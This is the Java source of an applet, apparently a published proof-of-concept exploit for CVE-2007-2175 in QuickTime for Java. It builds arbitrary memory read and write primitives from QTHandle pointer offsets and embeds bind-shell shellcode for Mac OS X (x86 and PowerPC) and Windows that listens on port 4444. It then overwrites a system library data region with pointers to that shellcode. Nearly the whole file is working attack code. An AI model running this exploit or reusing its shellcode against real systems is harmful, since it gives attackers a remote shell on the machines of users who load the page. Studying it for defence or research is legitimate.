/*
	QTJava PoC (CVE-2007-2175) - hdm[at]metasploit.com
	http://www.zerodayinitiative.com/advisories/ZDI-07-023.html
	http://www.securityfocus.com/blogs/104
	
	javac -classpath /System/Library/Java/Extensions/QTJava.zip:/System/Library/Frameworks/JavaVM.framework/Versions/1.5.0/Home/lib/plugin.jar QTBurn.java
*/

import java.applet.Applet;
import java.applet.AppletContext;
import java.awt.*;
import java.net.*;
import java.math.*;
import java.io.*;
import java.util.*;
import netscape.javascript.*;

import quicktime.*;
import quicktime.util.*;

public class QTBurn extends Applet {
	
	public static int intFromByte(byte a) {
		 return (int) a & 0xFF;
	}

	public static int intFromBytesLE(byte a, byte b, byte c, byte d){
		int v = 0;		
		v += intFromByte(d) << 24;
		v += intFromByte(c) << 16;
		v += intFromByte(b) <<  8;
		v += intFromByte(a) <<  0;		
		return(v);
	}
	
	public static int intFromBytesBE(byte a, byte b, byte c, byte d){
		int v = 0;	
		v += intFromByte(a) << 24;
		v += intFromByte(b) << 16;
		v += intFromByte(c) <<  8;
		v += intFromByte(d) <<  0;			
		return(v);
	}

	public static byte[] bytesFromIntLE(int addr){
		byte res[] = new byte[4];
		res[3] = (byte) ((addr >> 24) & 0xff);
		res[2] = (byte) ((addr >> 16) & 0xff);
		res[1] = (byte) ((addr >>  8) & 0xff);
		res[0] = (byte) ((addr >>  0) & 0xff);		
		return(res);
	}
	
	public static byte[] bytesFromIntBE(int addr){
		byte res[] = new byte[4];
		res[0] = (byte) ((addr >> 24) & 0xff);
		res[1] = (byte) ((addr >> 16) & 0xff);
		res[2] = (byte) ((addr >>  8) & 0xff);
		res[3] = (byte) ((addr >>  0) & 0xff);		
		return(res);
	}
	
	public static int isBigEndian() {
		try {
			byte data[] = new byte[4];
			QTHandle h = new QTHandle(data);	
			int haddr = QTObject.ID(h);
			int paddr = QTObject.ID( h.toQTPointer(0, 4) );
			
			byte resp[] = readMemory(haddr, 4);
			int addr_be  = intFromBytesBE(resp[0], resp[1], resp[2], resp[3]);
			int addr_le  = intFromBytesLE(resp[0], resp[1], resp[2], resp[3]);

			if (addr_be == paddr) {
				return(1);
			}
			
			if (addr_le == paddr) {
				return(0);
			}

		} catch(QTException e) { }
		
		return(0);
	}

	public static int handleToAddress(QTHandle h) {
		
		/*
		QTPointerRef p = h.toQTPointer(0, 1);
		String raw = p.toString();
		int res = 0;
		int sidx = raw.indexOf('@') + 1;
		int eidx = raw.indexOf('[');
		String val = raw.substring(sidx, eidx);
		res = Integer.parseInt(val, 16);
		return (res);
		*/
		
		/* Thanks Dino! */
		QTPointerRef p = h.toQTPointer(0, 1);
		return (QTObject.ID(p));
	}

	/* create a read pointer for any address */
	public static QTPointerRef addrToPointer(int addr, int size) {
		
		System.out.printf("Finding a pointer to 0x%x for size %d\n", addr, size);
		
		try {
			byte data[] = new byte[size];
			byte newa[] = new byte[size];
			QTHandle newh = new QTHandle(data);	
			int base = 0;
			int off  = 4;
			int blen = size + 4;

			while (off > 0 && (off >> 31 == 0)) {
			
				data = new byte[blen];
				newh = new QTHandle(data);	
				base = handleToAddress(newh);

				if (base > addr) {
					off = (base - addr) * -1;
				} else {
					off = (0xffffffff - (addr - base)) * -1;
					off -= 1;
				}
				
				System.out.printf("Offset is 0x%x (%d)\n", off, off);
				
				
				if (blen > (1024*1024*32)+size) {
					System.out.printf("Giving up on patching address 0x%x\n", addr);
					return(null);
				}
				
				if (off > 0 && (off >> 31 == 0)) {
					System.out.printf("Trying to allocate 0x%x bytes (base=0x%x / offset=%x)\n", blen, base, off);
					blen += 1024*1024*8;
				}
			}
			
			QTPointerRef p = newh.toQTPointer(off, size);
			return(p);
		} catch(QTException e) { }
		return(null);
	}

	public static byte[] readMemory(int addr, int size) {
		QTPointerRef p = addrToPointer(addr, size);
		System.out.printf("Reading %d bytes from 0x%x\n", size, QTObject.ID(p));
		return p.getBytes();
	}

	public static void writeMemory(int addr, int size, byte data[]) {
		QTPointerRef p = addrToPointer(addr, size);
		System.out.printf("Writing %d bytes to 0x%x\n", size, QTObject.ID(p));			
		p.copyFromArray(0, data, 0, size);
		return;
	}

	
    public void init() {
		System.out.println("[*] Starting QuickShell...");

		int blen = 1024;
		int leak = 1024;

		byte addr[] = new byte[blen];
		for (int x=0; x<blen; x++)
			addr[x] = (byte) 0x41;

		/*
		 * osx/x86/shell_bind_tcp - 74 bytes
		 * http://www.metasploit.com
		 * LPORT=4444
		 */
		byte code_osx_x86[] = new byte[]
		{
        		(byte) 0x31, (byte) 0xc0, (byte) 0x50, (byte) 0x68, (byte) 0xff, (byte) 0x02, (byte) 0x11, (byte) 0x5c,
        		(byte) 0x89, (byte) 0xe7, (byte) 0x50, (byte) 0x6a, (byte) 0x01, (byte) 0x6a, (byte) 0x02, (byte) 0x6a,
        		(byte) 0x10, (byte) 0xb0, (byte) 0x61, (byte) 0xcd, (byte) 0x80, (byte) 0x57, (byte) 0x50, (byte) 0x50,
        		(byte) 0x6a, (byte) 0x68, (byte) 0x58, (byte) 0xcd, (byte) 0x80, (byte) 0x89, (byte) 0x47, (byte) 0xec,
        		(byte) 0xb0, (byte) 0x6a, (byte) 0xcd, (byte) 0x80, (byte) 0xb0, (byte) 0x1e, (byte) 0xcd, (byte) 0x80,
        		(byte) 0x50, (byte) 0x50, (byte) 0x6a, (byte) 0x5a, (byte) 0x58, (byte) 0xcd, (byte) 0x80, (byte) 0xff,
        		(byte) 0x4f, (byte) 0xe4, (byte) 0x79, (byte) 0xf6, (byte) 0x50, (byte) 0x68, (byte) 0x2f, (byte) 0x2f,
        		(byte) 0x73, (byte) 0x68, (byte) 0x68, (byte) 0x2f, (byte) 0x62, (byte) 0x69, (byte) 0x6e, (byte) 0x89,
        		(byte) 0xe3, (byte) 0x50, (byte) 0x54, (byte) 0x54, (byte) 0x53, (byte) 0x50, (byte) 0xb0, (byte) 0x3b,
        		(byte) 0xcd, (byte) 0x80
		};

		/*
		 * osx/ppc/shell_bind_tcp - 224 bytes
		 * http://www.metasploit.com
		 * LPORT=4444
		 */		
		byte code_osx_ppc[] = new byte[]
		{
        		(byte) 0x38, (byte) 0x60, (byte) 0x00, (byte) 0x02, (byte) 0x38, (byte) 0x80, (byte) 0x00, (byte) 0x01,
        		(byte) 0x38, (byte) 0xa0, (byte) 0x00, (byte) 0x06, (byte) 0x38, (byte) 0x00, (byte) 0x00, (byte) 0x61,
        		(byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x02, (byte) 0x7c, (byte) 0x00, (byte) 0x02, (byte) 0x78,
        		(byte) 0x7c, (byte) 0x7e, (byte) 0x1b, (byte) 0x78, (byte) 0x48, (byte) 0x00, (byte) 0x00, (byte) 0x0d,
        		(byte) 0x00, (byte) 0x02, (byte) 0x11, (byte) 0x5c, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
        		(byte) 0x7c, (byte) 0x88, (byte) 0x02, (byte) 0xa6, (byte) 0x38, (byte) 0xa0, (byte) 0x00, (byte) 0x10,
        		(byte) 0x38, (byte) 0x00, (byte) 0x00, (byte) 0x68, (byte) 0x7f, (byte) 0xc3, (byte) 0xf3, (byte) 0x78,
        		(byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x02, (byte) 0x7c, (byte) 0x00, (byte) 0x02, (byte) 0x78,
        		(byte) 0x38, (byte) 0x00, (byte) 0x00, (byte) 0x6a, (byte) 0x7f, (byte) 0xc3, (byte) 0xf3, (byte) 0x78,
        		(byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x02, (byte) 0x7c, (byte) 0x00, (byte) 0x02, (byte) 0x78,
        		(byte) 0x7f, (byte) 0xc3, (byte) 0xf3, (byte) 0x78, (byte) 0x38, (byte) 0x00, (byte) 0x00, (byte) 0x1e,
        		(byte) 0x38, (byte) 0x80, (byte) 0x00, (byte) 0x10, (byte) 0x90, (byte) 0x81, (byte) 0xff, (byte) 0xe8,
        		(byte) 0x38, (byte) 0xa1, (byte) 0xff, (byte) 0xe8, (byte) 0x38, (byte) 0x81, (byte) 0xff, (byte) 0xf0,
        		(byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x02, (byte) 0x7c, (byte) 0x00, (byte) 0x02, (byte) 0x78,
        		(byte) 0x7c, (byte) 0x7e, (byte) 0x1b, (byte) 0x78, (byte) 0x38, (byte) 0xa0, (byte) 0x00, (byte) 0x02,
        		(byte) 0x38, (byte) 0x00, (byte) 0x00, (byte) 0x5a, (byte) 0x7f, (byte) 0xc3, (byte) 0xf3, (byte) 0x78,
        		(byte) 0x7c, (byte) 0xa4, (byte) 0x2b, (byte) 0x78, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x02,
        		(byte) 0x7c, (byte) 0x00, (byte) 0x02, (byte) 0x78, (byte) 0x38, (byte) 0xa5, (byte) 0xff, (byte) 0xff,
        		(byte) 0x2c, (byte) 0x05, (byte) 0xff, (byte) 0xff, (byte) 0x40, (byte) 0x82, (byte) 0xff, (byte) 0xe5,
        		(byte) 0x38, (byte) 0x00, (byte) 0x00, (byte) 0x42, (byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x02,
        		(byte) 0x7c, (byte) 0x00, (byte) 0x02, (byte) 0x78, (byte) 0x7c, (byte) 0xa5, (byte) 0x2a, (byte) 0x79,
        		(byte) 0x40, (byte) 0x82, (byte) 0xff, (byte) 0xfd, (byte) 0x7c, (byte) 0x68, (byte) 0x02, (byte) 0xa6,
        		(byte) 0x38, (byte) 0x63, (byte) 0x00, (byte) 0x28, (byte) 0x90, (byte) 0x61, (byte) 0xff, (byte) 0xf8,
        		(byte) 0x90, (byte) 0xa1, (byte) 0xff, (byte) 0xfc, (byte) 0x38, (byte) 0x81, (byte) 0xff, (byte) 0xf8,
        		(byte) 0x38, (byte) 0x00, (byte) 0x00, (byte) 0x3b, (byte) 0x7c, (byte) 0x00, (byte) 0x04, (byte) 0xac,
        		(byte) 0x44, (byte) 0x00, (byte) 0x00, (byte) 0x02, (byte) 0x7c, (byte) 0x00, (byte) 0x02, (byte) 0x78,
        		(byte) 0x7f, (byte) 0xe0, (byte) 0x00, (byte) 0x08, (byte) 0x2f, (byte) 0x62, (byte) 0x69, (byte) 0x6e,
        		(byte) 0x2f, (byte) 0x63, (byte) 0x73, (byte) 0x68, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00
		};

		/*
		 * windows/shell_bind_tcp - 317 bytes
		 * http://www.metasploit.com
		 * EXITFUNC=seh, LPORT=4444
		 */
		byte code_win_x86[] = new byte[]
		{
        		(byte) 0xfc, (byte) 0x6a, (byte) 0xeb, (byte) 0x4d, (byte) 0xe8, (byte) 0xf9, (byte) 0xff, (byte) 0xff,
        		(byte) 0xff, (byte) 0x60, (byte) 0x8b, (byte) 0x6c, (byte) 0x24, (byte) 0x24, (byte) 0x8b, (byte) 0x45,
        		(byte) 0x3c, (byte) 0x8b, (byte) 0x7c, (byte) 0x05, (byte) 0x78, (byte) 0x01, (byte) 0xef, (byte) 0x8b,
        		(byte) 0x4f, (byte) 0x18, (byte) 0x8b, (byte) 0x5f, (byte) 0x20, (byte) 0x01, (byte) 0xeb, (byte) 0x49,
        		(byte) 0x8b, (byte) 0x34, (byte) 0x8b, (byte) 0x01, (byte) 0xee, (byte) 0x31, (byte) 0xc0, (byte) 0x99,
        		(byte) 0xac, (byte) 0x84, (byte) 0xc0, (byte) 0x74, (byte) 0x07, (byte) 0xc1, (byte) 0xca, (byte) 0x0d,
        		(byte) 0x01, (byte) 0xc2, (byte) 0xeb, (byte) 0xf4, (byte) 0x3b, (byte) 0x54, (byte) 0x24, (byte) 0x28,
        		(byte) 0x75, (byte) 0xe5, (byte) 0x8b, (byte) 0x5f, (byte) 0x24, (byte) 0x01, (byte) 0xeb, (byte) 0x66,
        		(byte) 0x8b, (byte) 0x0c, (byte) 0x4b, (byte) 0x8b, (byte) 0x5f, (byte) 0x1c, (byte) 0x01, (byte) 0xeb,
        		(byte) 0x03, (byte) 0x2c, (byte) 0x8b, (byte) 0x89, (byte) 0x6c, (byte) 0x24, (byte) 0x1c, (byte) 0x61,
        		(byte) 0xc3, (byte) 0x31, (byte) 0xdb, (byte) 0x64, (byte) 0x8b, (byte) 0x43, (byte) 0x30, (byte) 0x8b,
        		(byte) 0x40, (byte) 0x0c, (byte) 0x8b, (byte) 0x70, (byte) 0x1c, (byte) 0xad, (byte) 0x8b, (byte) 0x40,
        		(byte) 0x08, (byte) 0x5e, (byte) 0x68, (byte) 0x8e, (byte) 0x4e, (byte) 0x0e, (byte) 0xec, (byte) 0x50,
        		(byte) 0xff, (byte) 0xd6, (byte) 0x66, (byte) 0x53, (byte) 0x66, (byte) 0x68, (byte) 0x33, (byte) 0x32,
        		(byte) 0x68, (byte) 0x77, (byte) 0x73, (byte) 0x32, (byte) 0x5f, (byte) 0x54, (byte) 0xff, (byte) 0xd0,
        		(byte) 0x68, (byte) 0xcb, (byte) 0xed, (byte) 0xfc, (byte) 0x3b, (byte) 0x50, (byte) 0xff, (byte) 0xd6,
        		(byte) 0x5f, (byte) 0x89, (byte) 0xe5, (byte) 0x66, (byte) 0x81, (byte) 0xed, (byte) 0x08, (byte) 0x02,
        		(byte) 0x55, (byte) 0x6a, (byte) 0x02, (byte) 0xff, (byte) 0xd0, (byte) 0x68, (byte) 0xd9, (byte) 0x09,
        		(byte) 0xf5, (byte) 0xad, (byte) 0x57, (byte) 0xff, (byte) 0xd6, (byte) 0x53, (byte) 0x53, (byte) 0x53,
        		(byte) 0x53, (byte) 0x53, (byte) 0x43, (byte) 0x53, (byte) 0x43, (byte) 0x53, (byte) 0xff, (byte) 0xd0,
        		(byte) 0x66, (byte) 0x68, (byte) 0x11, (byte) 0x5c, (byte) 0x66, (byte) 0x53, (byte) 0x89, (byte) 0xe1,
        		(byte) 0x95, (byte) 0x68, (byte) 0xa4, (byte) 0x1a, (byte) 0x70, (byte) 0xc7, (byte) 0x57, (byte) 0xff,
        		(byte) 0xd6, (byte) 0x6a, (byte) 0x10, (byte) 0x51, (byte) 0x55, (byte) 0xff, (byte) 0xd0, (byte) 0x68,
        		(byte) 0xa4, (byte) 0xad, (byte) 0x2e, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xd6, (byte) 0x53,
        		(byte) 0x55, (byte) 0xff, (byte) 0xd0, (byte) 0x68, (byte) 0xe5, (byte) 0x49, (byte) 0x86, (byte) 0x49,
        		(byte) 0x57, (byte) 0xff, (byte) 0xd6, (byte) 0x50, (byte) 0x54, (byte) 0x54, (byte) 0x55, (byte) 0xff,
        		(byte) 0xd0, (byte) 0x93, (byte) 0x68, (byte) 0xe7, (byte) 0x79, (byte) 0xc6, (byte) 0x79, (byte) 0x57,
        		(byte) 0xff, (byte) 0xd6, (byte) 0x55, (byte) 0xff, (byte) 0xd0, (byte) 0x66, (byte) 0x6a, (byte) 0x64,
        		(byte) 0x66, (byte) 0x68, (byte) 0x63, (byte) 0x6d, (byte) 0x89, (byte) 0xe5, (byte) 0x6a, (byte) 0x50,
        		(byte) 0x59, (byte) 0x29, (byte) 0xcc, (byte) 0x89, (byte) 0xe7, (byte) 0x6a, (byte) 0x44, (byte) 0x89,
        		(byte) 0xe2, (byte) 0x31, (byte) 0xc0, (byte) 0xf3, (byte) 0xaa, (byte) 0xfe, (byte) 0x42, (byte) 0x2d,
        		(byte) 0xfe, (byte) 0x42, (byte) 0x2c, (byte) 0x93, (byte) 0x8d, (byte) 0x7a, (byte) 0x38, (byte) 0xab,
        		(byte) 0xab, (byte) 0xab, (byte) 0x68, (byte) 0x72, (byte) 0xfe, (byte) 0xb3, (byte) 0x16, (byte) 0xff,
        		(byte) 0x75, (byte) 0x44, (byte) 0xff, (byte) 0xd6, (byte) 0x5b, (byte) 0x57, (byte) 0x52, (byte) 0x51,
        		(byte) 0x51, (byte) 0x51, (byte) 0x6a, (byte) 0x01, (byte) 0x51, (byte) 0x51, (byte) 0x55, (byte) 0x51,
        		(byte) 0xff, (byte) 0xd0, (byte) 0x68, (byte) 0xad, (byte) 0xd9, (byte) 0x05, (byte) 0xce, (byte) 0x53,
        		(byte) 0xff, (byte) 0xd6, (byte) 0x6a, (byte) 0xff, (byte) 0xff, (byte) 0x37, (byte) 0xff, (byte) 0xd0,
        		(byte) 0x8b, (byte) 0x57, (byte) 0xfc, (byte) 0x83, (byte) 0xc4, (byte) 0x64, (byte) 0xff, (byte) 0xd6,
        		(byte) 0x52, (byte) 0xff, (byte) 0xd0, (byte) 0x68, (byte) 0xf0, (byte) 0x8a, (byte) 0x04, (byte) 0x5f,
        		(byte) 0x53, (byte) 0xff, (byte) 0xd6, (byte) 0xff, (byte) 0xd0
		};


		int type  = 0;
		int baddr = 0xa000f000;
		int saddr = 0xa0012000;		
			
		byte code[] = new byte[]{ (byte)0xcc,(byte)0xcc,(byte)0xcc,(byte)0xcc };

		String os = System.getProperty("os.name");
		String arch = System.getProperty("os.arch");
		
		/* __DATA a000b000-a0012000 [   28K] rw-/rw- SM=PRV  /usr/lib/libSystem.B.dylib */
		if (os.indexOf("Mac OS X") != -1) {
			System.out.printf("Choosing Mac OS X target...\n");
			
			if (arch.indexOf("ppc") != -1) {
				code  = code_osx_ppc;
				baddr = 0xa000f000;
				saddr = 0xa0012000;	
				type  = 1;			
			} else {
				code  = code_osx_x86;
				baddr = 0xa000f000;
				saddr = 0xa0012000;	
				type  = 1;			
			}
		}
		
		/* QTJava.dll: .data 00009000  000000006801c000  000000006801c000  0001c000  2**2 */
		/* XXX: Cant see to reach this :(  */
		if (os.indexOf("Windows") != -1) {
			System.out.printf("Choosing Windows target...\n");
			code  = code_win_x86;
			baddr = 0x6801c000;
			saddr = 0x68025000;
			type  = 0;
		}

		try {	
			QTSession.open();

			QTHandle ch = new QTHandle(code);
			QTHandle ah = new QTHandle(addr);

			QTPointerRef cp = ch.toQTPointer(0, blen);
			
			int big = isBigEndian();
			
			System.out.printf("shellcode @ 0x%x (big:%d)\n", handleToAddress(ch), big);

			/* create a buffer full of return addresses */
			byte ret[];
			if (big == 1)
				ret = bytesFromIntBE(handleToAddress(ch));
			else
				ret = bytesFromIntLE(handleToAddress(ch));

			byte buf[] = new byte[1024];
			for(int i=0; i<1024; i+=4) {
				buf[i+0] = ret[0];
				buf[i+1] = ret[1];
				buf[i+2] = ret[2];
				buf[i+3] = ret[3];
			}			
			
			/* create a buffer full of pointers to return addresses */
			QTHandle bh = new QTHandle(buf);
			byte ref[];
			if (big == 1)
				ref = bytesFromIntBE(handleToAddress(bh));
			else
				ref = bytesFromIntLE(handleToAddress(bh));
				
			byte ruf[] = new byte[1024];
			for(int i=0; i<1024; i+=4) {
				ruf[i+0] = ref[0];
				ruf[i+1] = ref[1];
				ruf[i+2] = ref[2];
				ruf[i+3] = ref[3];
			}
	
			if(type == 1) {
				for(int i=baddr; i<saddr-ruf.length; i+=ruf.length) {
					writeMemory(i, ruf.length, ruf);						
				}
			}
					
			if(type == 0) {
				for(int i=baddr; i<saddr-buf.length; i+=buf.length) {
					writeMemory(i, buf.length, buf);						
				}
			}
			
		} catch(QTException e) { }
	}
}
	
